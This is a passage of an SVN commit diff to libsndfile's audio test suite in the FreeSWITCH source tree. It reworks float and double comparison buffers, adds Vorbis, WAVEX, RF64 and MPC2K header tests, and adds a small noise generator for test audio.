+	double_scaled_test	("vorbis.oga", allow_exit, SF_FALSE, SF_FORMAT_OGG | SF_FORMAT_VORBIS, -29.0) ;
 #endif
 
 	double_scaled_test	("replace_double.raw", allow_exit, SF_TRUE, SF_FORMAT_RAW | SF_FORMAT_DOUBLE, -300.0) ;
@@ -189,21 +193,14 @@
 
 static void
 float_scaled_test (const char *filename, int allow_exit, int replace_float, int filetype, double target_snr)
-{	static	float	float_orig [DFT_DATA_LENGTH] ;
-	static	float	float_test [DFT_DATA_LENGTH] ;
-
-	SNDFILE		*file ;
+{	SNDFILE		*file ;
 	SF_INFO		sfinfo ;
-	int			k ;
 	double		snr ;
 
 	print_test_name ("float_scaled_test", filename) ;
 
-	gen_windowed_sine_double (double_data, DFT_DATA_LENGTH, 1.0) ;
+	gen_windowed_sine_float (float_data, DFT_DATA_LENGTH, 1.0) ;
 
-	for (k = 0 ; k < DFT_DATA_LENGTH ; k++)
-		float_orig [k] = double_data [k] ;
-
 	sfinfo.samplerate	= SAMPLE_RATE ;
 	sfinfo.frames		= DFT_DATA_LENGTH ;
 	sfinfo.channels		= 1 ;
@@ -212,7 +209,7 @@
 	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
 	sf_command (file, SFC_TEST_IEEE_FLOAT_REPLACE, NULL, replace_float) ;
 
-	test_write_float_or_die (file, 0, float_orig, DFT_DATA_LENGTH, __LINE__) ;
+	test_write_float_or_die (file, 0, float_data, DFT_DATA_LENGTH, __LINE__) ;
 
 	sf_close (file) ;
 
@@ -231,11 +228,8 @@
 
 	sf_close (file) ;
 
-	for (k = 0 ; k < DFT_DATA_LENGTH ; k++)
-		test_data [k] = float_test [k] ;
+	snr = dft_cmp_float (__LINE__, float_data, float_test, DFT_DATA_LENGTH, target_snr, allow_exit) ;
 
-	snr = dft_cmp (__LINE__, double_data, test_data, DFT_DATA_LENGTH, target_snr, allow_exit) ;
-
 	exit_if_true (snr > target_snr, "% 6.1fdB SNR\n\n    Error : should be better than % 6.1fdB\n\n", snr, target_snr) ;
 
 	printf ("% 6.1fdB SNR ... ok\n", snr) ;
@@ -267,7 +261,7 @@
 
 	sf_close (file) ;
 
-	memset (test_data, 0, sizeof (test_data)) ;
+	memset (double_test, 0, sizeof (double_test)) ;
 
 	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
 	sf_command (file, SFC_TEST_IEEE_FLOAT_REPLACE, NULL, replace_float) ;
@@ -278,11 +272,11 @@
 
 	check_log_buffer_or_die (file, __LINE__) ;
 
-	test_read_double_or_die (file, 0, test_data, DFT_DATA_LENGTH, __LINE__) ;
+	test_read_double_or_die (file, 0, double_test, DFT_DATA_LENGTH, __LINE__) ;
 
 	sf_close (file) ;
 
-	snr = dft_cmp (__LINE__, double_data, test_data, DFT_DATA_LENGTH, target_snr, allow_exit) ;
+	snr = dft_cmp_double (__LINE__, double_data, double_test, DFT_DATA_LENGTH, target_snr, allow_exit) ;
 
 	exit_if_true (snr > target_snr, "% 6.1fdB SNR\n\n    Error : should be better than % 6.1fdB\n\n", snr, target_snr) ;
 
@@ -335,7 +329,7 @@
 
 	max = 0 ;
 	for (k = 0 ; k < ARRAY_LEN (short_data) ; k++)
-		if (abs (short_data [k]) > max)
+		if ((unsigned) abs (short_data [k]) > max)
 			max = abs (short_data [k]) ;
 
 	if (1.0 * abs (max - 0x7FFF) / 0x7FFF > 0.01)
@@ -385,7 +379,7 @@
 
 	max = 0 ;
 	for (k = 0 ; k < ARRAY_LEN (short_data) ; k++)
-		if (abs (short_data [k]) > max)
+		if ((unsigned) abs (short_data [k]) > max)
 			max = abs (short_data [k]) ;
 
 	if (1.0 * abs (max - 0x7FFF) / 0x7FFF > 0.01)
@@ -435,7 +429,7 @@
 
 	max = 0 ;
 	for (k = 0 ; k < ARRAY_LEN (int_data) ; k++)
-		if (abs (int_data [k]) > max)
+		if ((unsigned) abs (int_data [k]) > max)
 			max = abs (int_data [k]) ;
 
 	if (1.0 * abs (max - 0x7FFFFFFF) / 0x7FFFFFFF > 0.01)
@@ -485,7 +479,7 @@
 
 	max = 0 ;
 	for (k = 0 ; k < ARRAY_LEN (int_data) ; k++)
-		if (abs (int_data [k]) > max)
+		if ((unsigned) abs (int_data [k]) > max)
 			max = abs (int_data [k]) ;
 
 	if (1.0 * abs (max - 0x7FFFFFFF) / 0x7FFFFFFF > 0.01)
@@ -535,7 +529,7 @@
 
 	max = 0 ;
 	for (k = 0 ; k < ARRAY_LEN (short_data) ; k++)
-		if (abs (short_data [k]) > max)
+		if ((unsigned) abs (short_data [k]) > max)
 			max = abs (short_data [k]) ;
 
 	if (1.0 * abs (max - 0x7FFF) / 0x7FFF > 0.01)
@@ -585,7 +579,7 @@
 
 	max = 0 ;
 	for (k = 0 ; k < ARRAY_LEN (short_data) ; k++)
-		if (abs (short_data [k]) > max)
+		if ((unsigned) abs (short_data [k]) > max)
 			max = abs (short_data [k]) ;
 
 	if (1.0 * abs (max - 0x7FFF) / 0x7FFF > 0.01)
@@ -635,7 +629,7 @@
 
 	max = 0 ;
 	for (k = 0 ; k < ARRAY_LEN (int_data) ; k++)
-		if (abs (int_data [k]) > max)
+		if ((unsigned) abs (int_data [k]) > max)
 			max = abs (int_data [k]) ;
 
 	if (1.0 * abs (max - 0x7FFFFFFF) / 0x7FFFFFFF > 0.01)
@@ -685,7 +679,7 @@
 
 	max = 0 ;
 	for (k = 0 ; k < ARRAY_LEN (int_data) ; k++)
-		if (abs (int_data [k]) > max)
+		if ((unsigned) abs (int_data [k]) > max)
 			max = abs (int_data [k]) ;
 
 	if (1.0 * abs (max - 0x7FFFFFFF) / 0x7FFFFFFF > 0.01)
@@ -698,4 +692,3 @@
 } /* double_int_big_test */
 
 
-

Modified: freeswitch/branches/seven/libs/libsndfile/tests/floating_point_test.def (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/floating_point_test.def	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/floating_point_test.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -30,11 +30,3 @@
 	int_max			= 0x7FFFFFFF ;
 	} ;
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 053997cb-74d9-424e-aabf-3ad7622e3eee
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/tests/floating_point_test.tpl (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/floating_point_test.tpl	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/floating_point_test.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 [+ AutoGen5 template c +]
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -33,22 +33,22 @@
 #include "dft_cmp.h"
 #include "utils.h"
 
-#include "float_cast.h"
-
 #define	SAMPLE_RATE			16000
 
 static void	float_scaled_test	(const char *filename, int allow_exit, int replace_float, int filetype, double target_snr) ;
 static void	double_scaled_test	(const char *filename, int allow_exit, int replace_float, int filetype, double target_snr) ;
 
-[+ FOR float_type +][+ FOR int_type +][+ FOR endian_type 
+[+ FOR float_type +][+ FOR int_type +][+ FOR endian_type
 +]static void [+ (get "float_name") +]_[+ (get "int_name") +]_[+ (get "end_name") +]_test (const char * filename) ;
-[+ ENDFOR endian_type +][+ ENDFOR int_type +][+ ENDFOR float_type 
+[+ ENDFOR endian_type +][+ ENDFOR int_type +][+ ENDFOR float_type
 +]
 
 static	double	double_data [DFT_DATA_LENGTH] ;
-static	double	test_data [DFT_DATA_LENGTH] ;
+static	double	double_test [DFT_DATA_LENGTH] ;
 
 static float	float_data [DFT_DATA_LENGTH] ;
+static float	float_test [DFT_DATA_LENGTH] ;
+
 static double	double_data [DFT_DATA_LENGTH] ;
 static short	short_data [DFT_DATA_LENGTH] ;
 static int		int_data [DFT_DATA_LENGTH] ;
@@ -106,10 +106,12 @@
 	float_scaled_test	("pcm_16.sds", allow_exit, SF_FALSE, SF_FORMAT_SDS | SF_FORMAT_PCM_16, -140.0) ;
 	float_scaled_test	("pcm_24.sds", allow_exit, SF_FALSE, SF_FORMAT_SDS | SF_FORMAT_PCM_24, -170.0) ;
 
-#ifdef HAVE_FLAC_ALL_H
+#if HAVE_EXTERNAL_LIBS
 	float_scaled_test	("flac_8.flac", allow_exit, SF_FALSE, SF_FORMAT_FLAC | SF_FORMAT_PCM_S8, -39.0) ;
 	float_scaled_test	("flac_16.flac", allow_exit, SF_FALSE, SF_FORMAT_FLAC | SF_FORMAT_PCM_16, -87.0) ;
 	float_scaled_test	("flac_24.flac", allow_exit, SF_FALSE, SF_FORMAT_FLAC | SF_FORMAT_PCM_24, -138.0) ;
+
+	float_scaled_test	("vorbis.oga", allow_exit, SF_FALSE, SF_FORMAT_OGG | SF_FORMAT_VORBIS, -31.0) ;
 #endif
 
 	float_scaled_test	("replace_float.raw", allow_exit, SF_TRUE, SF_ENDIAN_LITTLE | SF_FORMAT_RAW | SF_FORMAT_FLOAT, -163.0) ;
@@ -156,19 +158,21 @@
 	double_scaled_test	("pcm_16.sds", allow_exit, SF_FALSE, SF_FORMAT_SDS | SF_FORMAT_PCM_16, -140.0) ;
 	double_scaled_test	("pcm_24.sds", allow_exit, SF_FALSE, SF_FORMAT_SDS | SF_FORMAT_PCM_24, -180.0) ;
 
-#ifdef HAVE_FLAC_ALL_H
+#if HAVE_EXTERNAL_LIBS
 	double_scaled_test	("flac_8.flac", allow_exit, SF_FALSE, SF_FORMAT_FLAC | SF_FORMAT_PCM_S8, -39.0) ;
 	double_scaled_test	("flac_16.flac", allow_exit, SF_FALSE, SF_FORMAT_FLAC | SF_FORMAT_PCM_16, -87.0) ;
 	double_scaled_test	("flac_24.flac", allow_exit, SF_FALSE, SF_FORMAT_FLAC | SF_FORMAT_PCM_24, -138.0) ;
+
+	double_scaled_test	("vorbis.oga", allow_exit, SF_FALSE, SF_FORMAT_OGG | SF_FORMAT_VORBIS, -29.0) ;
 #endif
 
 	double_scaled_test	("replace_double.raw", allow_exit, SF_TRUE, SF_FORMAT_RAW | SF_FORMAT_DOUBLE, -300.0) ;
 
 	putchar ('\n') ;
 	/* Float int tests. */
-[+ FOR float_type +][+ FOR int_type +][+ FOR endian_type 
+[+ FOR float_type +][+ FOR int_type +][+ FOR endian_type
 +]	[+ (get "float_name") +]_[+ (get "int_name") +]_[+ (get "end_name") +]_test ("[+ (get "float_name") +]_[+ (get "int_name") +]_[+ (get "end_name") +].au") ;
-[+ ENDFOR endian_type +][+ ENDFOR int_type +][+ ENDFOR float_type 
+[+ ENDFOR endian_type +][+ ENDFOR int_type +][+ ENDFOR float_type
 +]
 
 	return 0 ;
@@ -180,21 +184,14 @@
 
 static void
 float_scaled_test (const char *filename, int allow_exit, int replace_float, int filetype, double target_snr)
-{	static	float	float_orig [DFT_DATA_LENGTH] ;
-	static	float	float_test [DFT_DATA_LENGTH] ;
-
-	SNDFILE		*file ;
+{	SNDFILE		*file ;
 	SF_INFO		sfinfo ;
-	int			k ;
 	double		snr ;
 
 	print_test_name ("float_scaled_test", filename) ;
 
-	gen_windowed_sine_double (double_data, DFT_DATA_LENGTH, 1.0) ;
+	gen_windowed_sine_float (float_data, DFT_DATA_LENGTH, 1.0) ;
 
-	for (k = 0 ; k < DFT_DATA_LENGTH ; k++)
-		float_orig [k] = double_data [k] ;
-
 	sfinfo.samplerate	= SAMPLE_RATE ;
 	sfinfo.frames		= DFT_DATA_LENGTH ;
 	sfinfo.channels		= 1 ;
@@ -203,7 +200,7 @@
 	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
 	sf_command (file, SFC_TEST_IEEE_FLOAT_REPLACE, NULL, replace_float) ;
 
-	test_write_float_or_die (file, 0, float_orig, DFT_DATA_LENGTH, __LINE__) ;
+	test_write_float_or_die (file, 0, float_data, DFT_DATA_LENGTH, __LINE__) ;
 
 	sf_close (file) ;
 
@@ -222,11 +219,8 @@
 
 	sf_close (file) ;
 
-	for (k = 0 ; k < DFT_DATA_LENGTH ; k++)
-		test_data [k] = float_test [k] ;
+	snr = dft_cmp_float (__LINE__, float_data, float_test, DFT_DATA_LENGTH, target_snr, allow_exit) ;
 
-	snr = dft_cmp (__LINE__, double_data, test_data, DFT_DATA_LENGTH, target_snr, allow_exit) ;
-
 	exit_if_true (snr > target_snr, "% 6.1fdB SNR\n\n    Error : should be better than % 6.1fdB\n\n", snr, target_snr) ;
 
 	printf ("% 6.1fdB SNR ... ok\n", snr) ;
@@ -258,7 +252,7 @@
 
 	sf_close (file) ;
 
-	memset (test_data, 0, sizeof (test_data)) ;
+	memset (double_test, 0, sizeof (double_test)) ;
 
 	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
 	sf_command (file, SFC_TEST_IEEE_FLOAT_REPLACE, NULL, replace_float) ;
@@ -269,11 +263,11 @@
 
 	check_log_buffer_or_die (file, __LINE__) ;
 
-	test_read_double_or_die (file, 0, test_data, DFT_DATA_LENGTH, __LINE__) ;
+	test_read_double_or_die (file, 0, double_test, DFT_DATA_LENGTH, __LINE__) ;
 
 	sf_close (file) ;
 
-	snr = dft_cmp (__LINE__, double_data, test_data, DFT_DATA_LENGTH, target_snr, allow_exit) ;
+	snr = dft_cmp_double (__LINE__, double_data, double_test, DFT_DATA_LENGTH, target_snr, allow_exit) ;
 
 	exit_if_true (snr > target_snr, "% 6.1fdB SNR\n\n    Error : should be better than % 6.1fdB\n\n", snr, target_snr) ;
 
@@ -287,7 +281,7 @@
 /*==============================================================================
 */
 
-[+ FOR float_type +][+ FOR int_type +][+ FOR endian_type 
+[+ FOR float_type +][+ FOR int_type +][+ FOR endian_type
 +]
 static void
 [+ (get "float_name") +]_[+ (get "int_name") +]_[+ (get "end_name") +]_test (const char * filename)
@@ -327,7 +321,7 @@
 
 	max = 0 ;
 	for (k = 0 ; k < ARRAY_LEN ([+ (get "int_name") +]_data) ; k++)
-		if (abs ([+ (get "int_name") +]_data [k]) > max)
+		if ((unsigned) abs ([+ (get "int_name") +]_data [k]) > max)
 			max = abs ([+ (get "int_name") +]_data [k]) ;
 
 	if (1.0 * abs (max - [+ (get "int_max") +]) / [+ (get "int_max") +] > 0.01)
@@ -340,12 +334,3 @@
 } /* [+ (get "float_name") +]_[+ (get "int_name") +]_[+ (get "end_name") +]_test */
 [+ ENDFOR endian_type +][+ ENDFOR int_type +][+ ENDFOR float_type +]
 
-[+ COMMENT
-
- Do not edit or modify anything in this comment block.
- The arch-tag line is a file identity tag for the GNU Arch
- revision control system.
-
- arch-tag: c1043a35-f0aa-44af-9f7f-f193c67f140d
-
-+]

Copied: freeswitch/branches/seven/libs/libsndfile/tests/generate.c (from rev 14471, freeswitch/trunk/libs/libsndfile/tests/generate.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/generate.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/tests/generate.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,73 @@
+/*
+** Copyright (C) 2007-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU General Public License as published by
+** the Free Software Foundation; either version 2 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU General Public License for more details.
+**
+** You should have received a copy of the GNU General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <math.h>
+
+#include <sndfile.h>
+
+#include "utils.h"
+#include "generate.h"
+
+#define	SF_MAX(x,y)		((x) > (y) ? (x) : (y))
+
+static float crappy_snare (float *output, int len, int offset, float gain, float maxabs) ;
+
+void
+generate_file (const char * filename, int format, int len)
+{	float * output ;
+	float maxabs = 0.0 ;
+
+	output = calloc (len, sizeof (float)) ;
+
+	maxabs = crappy_snare (output, len, 0, 0.95, maxabs) ;
+	maxabs = crappy_snare (output, len, len / 4, 0.85, maxabs) ;
+	maxabs = crappy_snare (output, len, 2 * len / 4, 0.85, maxabs) ;
+	maxabs = crappy_snare (output, len, 3 * len / 4, 0.85, maxabs) ;
+
+	write_mono_file (filename, format, 44100, output, len) ;
+
+	free (output) ;
+} /* generate_file */
+
+static inline float
+rand_float (void)
+{	return rand () / (0.5 * RAND_MAX) - 1.0 ;
+} /* rand_float */
+
+static float
+crappy_snare (float *output, int len, int offset, float gain, float maxabs)
+{	int k ;
+	float env = 0.0 ;
+
+	for (k = offset ; k < len && env < gain ; k++)
+	{	env += 0.03 ;
+		output [k] += env * rand_float () ;
+		maxabs = SF_MAX (maxabs, fabs (output [k])) ;
+		} ;
+
+	for ( ; k < len && env > 1e-8 ; k++)
+	{	env *= 0.995 ;
+		output [k] += env * rand_float () ;
+		maxabs = SF_MAX (maxabs, fabs (output [k])) ;
+		} ;
+
+	return maxabs ;
+} /* crappy_snare */

Copied: freeswitch/branches/seven/libs/libsndfile/tests/generate.h (from rev 14471, freeswitch/trunk/libs/libsndfile/tests/generate.h) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/generate.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/tests/generate.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,19 @@
+/*
+** Copyright (C) 2007-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU General Public License as published by
+** the Free Software Foundation; either version 2 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU General Public License for more details.
+**
+** You should have received a copy of the GNU General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+void generate_file (const char * filename, int format, int len) ;

Modified: freeswitch/branches/seven/libs/libsndfile/tests/header_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/header_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/header_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software ; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -55,6 +55,8 @@
 
 static void extra_header_test (const char *filename, int filetype) ;
 
+static void header_shrink_test (const char *filename, int filetype) ;
+
 /* Force the start of this buffer to be double aligned. Sparc-solaris will
 ** choke if its not.
 */
@@ -83,7 +85,16 @@
 		update_seek_int_test ("header_int.wav", SF_FORMAT_WAV) ;
 		update_seek_float_test ("header_float.wav", SF_FORMAT_WAV) ;
 		update_seek_double_test ("header_double.wav", SF_FORMAT_WAV) ;
+		header_shrink_test ("header_shrink.wav", SF_FORMAT_WAV) ;
 		extra_header_test ("extra.wav", SF_FORMAT_WAV) ;
+
+		update_header_test ("header.wavex", SF_FORMAT_WAVEX) ;
+		update_seek_short_test ("header_short.wavex", SF_FORMAT_WAVEX) ;
+		update_seek_int_test ("header_int.wavex", SF_FORMAT_WAVEX) ;
+		update_seek_float_test ("header_float.wavex", SF_FORMAT_WAVEX) ;
+		update_seek_double_test ("header_double.wavex", SF_FORMAT_WAVEX) ;
+		header_shrink_test ("header_shrink.wavex", SF_FORMAT_WAVEX) ;
+		extra_header_test ("extra.wavex", SF_FORMAT_WAVEX) ;
 		test_count++ ;
 		} ;
 
@@ -93,6 +104,7 @@
 		update_seek_int_test ("header_int.aiff", SF_FORMAT_AIFF) ;
 		update_seek_float_test ("header_float.aiff", SF_FORMAT_AIFF) ;
 		update_seek_double_test ("header_double.aiff", SF_FORMAT_AIFF) ;
+		header_shrink_test ("header_shrink.wav", SF_FORMAT_AIFF) ;
 		extra_header_test ("extra.aiff", SF_FORMAT_AIFF) ;
 		test_count++ ;
 		} ;
@@ -144,6 +156,15 @@
 		test_count++ ;
 		} ;
 
+	if (do_all || ! strcmp (argv [1], "rf64"))
+	{	update_header_test ("header.rf64", SF_FORMAT_RF64) ;
+		update_seek_short_test ("header_short.rf64", SF_FORMAT_RF64) ;
+		update_seek_int_test ("header_int.rf64", SF_FORMAT_RF64) ;
+		update_seek_float_test ("header_float.rf64", SF_FORMAT_RF64) ;
+		update_seek_double_test ("header_double.rf64", SF_FORMAT_RF64) ;
+		test_count++ ;
+		} ;
+
 	if (do_all || ! strcmp (argv [1], "mat4"))
 	{	update_header_test ("header.mat4", SF_FORMAT_MAT4) ;
 		update_seek_short_test ("header_short.mat4", SF_FORMAT_MAT4) ;
@@ -198,6 +219,12 @@
 		test_count++ ;
 		} ;
 
+	if (do_all || ! strcmp (argv [1], "mpc2k"))
+	{	update_header_test ("header.mpc", SF_FORMAT_MPC2K) ;
+		update_seek_short_test ("header_short.mpc", SF_FORMAT_MPC2K) ;
+		test_count++ ;
+		} ;
+
 	if (test_count == 0)
 	{	printf ("Mono : ************************************\n") ;
 		printf ("Mono : *  No '%s' test defined.\n", argv [1]) ;
@@ -290,18 +317,6 @@
 {
 	print_test_name ("update_header_test", filename) ;
 
-#if 0 /*-(OS_IS_WIN32 == 0)-*/
-	if (typemajor == SF_FORMAT_PAF)
-	{	/*
-		** I think this is a bug in the win32 file I/O code in src/file_io.c.
-		** I didn't write that code and I don't have the time to debug and
-		** fix it. Patches will gladly be accepted. Erik
-		*/
-		puts ("doesn't work on win32") ;
-		return ;
-		} ;
-#endif
-
 	update_header_sub (filename, typemajor, SFM_WRITE) ;
 	update_header_sub (filename, typemajor, SFM_RDWR) ;
 
@@ -378,6 +393,7 @@
 	puts ("ok") ;
 	return ;
 } /* update_seek_short_test */
+
 static void
 update_seek_int_test	(const char *filename, int filetype)
 {	SNDFILE *outfile, *infile ;
@@ -444,6 +460,7 @@
 	puts ("ok") ;
 	return ;
 } /* update_seek_int_test */
+
 static void
 update_seek_float_test	(const char *filename, int filetype)
 {	SNDFILE *outfile, *infile ;
@@ -510,6 +527,7 @@
 	puts ("ok") ;
 	return ;
 } /* update_seek_float_test */
+
 static void
 update_seek_double_test	(const char *filename, int filetype)
 {	SNDFILE *outfile, *infile ;
@@ -579,12 +597,52 @@
 
 
 
+static void
+header_shrink_test (const char *filename, int filetype)
+{	SNDFILE *outfile, *infile ;
+	SF_INFO sfinfo ;
+	sf_count_t frames ;
+	float buffer [8], bufferin [8] ;
 
+	print_test_name ("header_shrink_test", filename) ;
 
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.samplerate = 44100 ;
+	sfinfo.format = filetype | SF_FORMAT_FLOAT ;
+	sfinfo.channels = 1 ;
 
+	memset (buffer, 0xA0, sizeof (buffer)) ;
+
+	/* Now write some frames. */
+	frames = ARRAY_LEN (buffer) / sfinfo.channels ;
+
+	/* Test the file with extra header data. */
+	outfile = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+
+	sf_command (outfile, SFC_SET_ADD_PEAK_CHUNK, NULL, SF_TRUE) ;
+	sf_command (outfile, SFC_UPDATE_HEADER_NOW, NULL, SF_FALSE) ;
+	sf_command (outfile, SFC_SET_ADD_PEAK_CHUNK, NULL, SF_FALSE) ;
+
+	test_writef_float_or_die (outfile, 0, buffer, frames, __LINE__) ;
+	sf_close (outfile) ;
+
+	/* Open again for read. */
+	infile = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+
+	test_readf_float_or_die (infile, 0, bufferin, frames, __LINE__) ;
+	sf_close (infile) ;
+
+	compare_float_or_die (buffer, bufferin, frames, __LINE__) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+	return ;
+} /* header_shrink_test */
+
+
 static void
 extra_header_test (const char *filename, int filetype)
-{	SNDFILE *outfile, *infile ;
+{	SNDFILE *outfile ;
 	SF_INFO sfinfo ;
     sf_count_t frames ;
     short buffer [8] ;
@@ -602,9 +660,9 @@
 	frames = ARRAY_LEN (buffer) / sfinfo.channels ;
 
 	/* Test the file with extra header data. */
-	outfile = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, 409) ;
+	outfile = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, 464) ;
 	sf_set_string (outfile, SF_STR_TITLE, filename) ;
-	test_writef_short_or_die (outfile, k, buffer, frames, 411) ;
+	test_writef_short_or_die (outfile, k, buffer, frames, 466) ;
 	sf_set_string (outfile, SF_STR_COPYRIGHT, "(c) 1980 Erik") ;
 	sf_close (outfile) ;
 
@@ -618,7 +676,7 @@
 	** integration is done.
 	*/
 
-	if ((infile = sf_open (filename, SFM_RDWR, &sfinfo)) != NULL)
+	if (sf_open (filename, SFM_RDWR, &sfinfo) != NULL)
 	{	printf ("\n\nError : should not be able to open this file in SFM_RDWR.\n\n") ;
 		exit (1) ;
 		} ;
@@ -631,7 +689,7 @@
 	hexdump_file (filename, 0, 100000) ;
 
 	/* Open again for read/write. */
-	outfile = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, 438) ;
+	outfile = test_open_file_or_die (filename, SFM_RDWR, &sfinfo, 493) ;
 
 	/*
 	** In auto header update mode, seeking to the end of the file with
@@ -652,26 +710,26 @@
 		memset (buffer, 0xA0 + k, sizeof (buffer)) ;
 
 
-		test_seek_or_die (outfile, k * frames, SEEK_SET, k * frames, sfinfo.channels, 459) ;
-		test_seek_or_die (outfile, 0, SEEK_END, k * frames, sfinfo.channels, 460) ;
+		test_seek_or_die (outfile, k * frames, SEEK_SET, k * frames, sfinfo.channels, 514) ;
+		test_seek_or_die (outfile, 0, SEEK_END, k * frames, sfinfo.channels, 515) ;
 
 		/* Open file again and make sure no errors in log buffer. */
 		if (0)
-		{	infile = test_open_file_or_die (filename, SFM_READ, &sfinfo, 464) ;
-			check_log_buffer_or_die (infile, 465) ;
+		{	infile = test_open_file_or_die (filename, SFM_READ, &sfinfo, 519) ;
+			check_log_buffer_or_die (infile, 520) ;
 			sf_close (infile) ;
 			} ;
 
 		if (sfinfo.frames != k * frames)
-		{	printf ("\n\nLine %d : Incorrect sample count (%ld should be %ld)\n", 470, SF_COUNT_TO_LONG (sfinfo.frames), SF_COUNT_TO_LONG (k + frames)) ;
+		{	printf ("\n\nLine %d : Incorrect sample count (%ld should be %ld)\n", 525, SF_COUNT_TO_LONG (sfinfo.frames), SF_COUNT_TO_LONG (k + frames)) ;
 			dump_log_buffer (infile) ;
 			exit (1) ;
 			} ;
 
 		if ((k & 1) == 0)
-			test_write_short_or_die (outfile, k, buffer, sfinfo.channels * frames, 476) ;
+			test_write_short_or_die (outfile, k, buffer, sfinfo.channels * frames, 531) ;
 		else
-			test_writef_short_or_die (outfile, k, buffer, frames, 478) ;
+			test_writef_short_or_die (outfile, k, buffer, frames, 533) ;
 		hexdump_file (filename, 0, 100000) ;
 		} ;
 
@@ -683,4 +741,3 @@
 #endif
 } /* extra_header_test */
 
-

Modified: freeswitch/branches/seven/libs/libsndfile/tests/header_test.def (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/header_test.def	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/header_test.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -20,11 +20,3 @@
 	format	= "SF_FORMAT_DOUBLE" ;
 	} ;
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 436e1f37-a274-4377-b8fa-b2e2fc29f85b
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/tests/header_test.tpl (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/header_test.tpl	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/header_test.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 [+ AutoGen5 template c +]
 /*
-** Copyright (C) 2001-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software ; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -55,6 +55,8 @@
 
 static void extra_header_test (const char *filename, int filetype) ;
 
+static void header_shrink_test (const char *filename, int filetype) ;
+
 /* Force the start of this buffer to be double aligned. Sparc-solaris will
 ** choke if its not.
 */
@@ -83,7 +85,16 @@
 		update_seek_int_test ("header_int.wav", SF_FORMAT_WAV) ;
 		update_seek_float_test ("header_float.wav", SF_FORMAT_WAV) ;
 		update_seek_double_test ("header_double.wav", SF_FORMAT_WAV) ;
+		header_shrink_test ("header_shrink.wav", SF_FORMAT_WAV) ;
 		extra_header_test ("extra.wav", SF_FORMAT_WAV) ;
+
+		update_header_test ("header.wavex", SF_FORMAT_WAVEX) ;
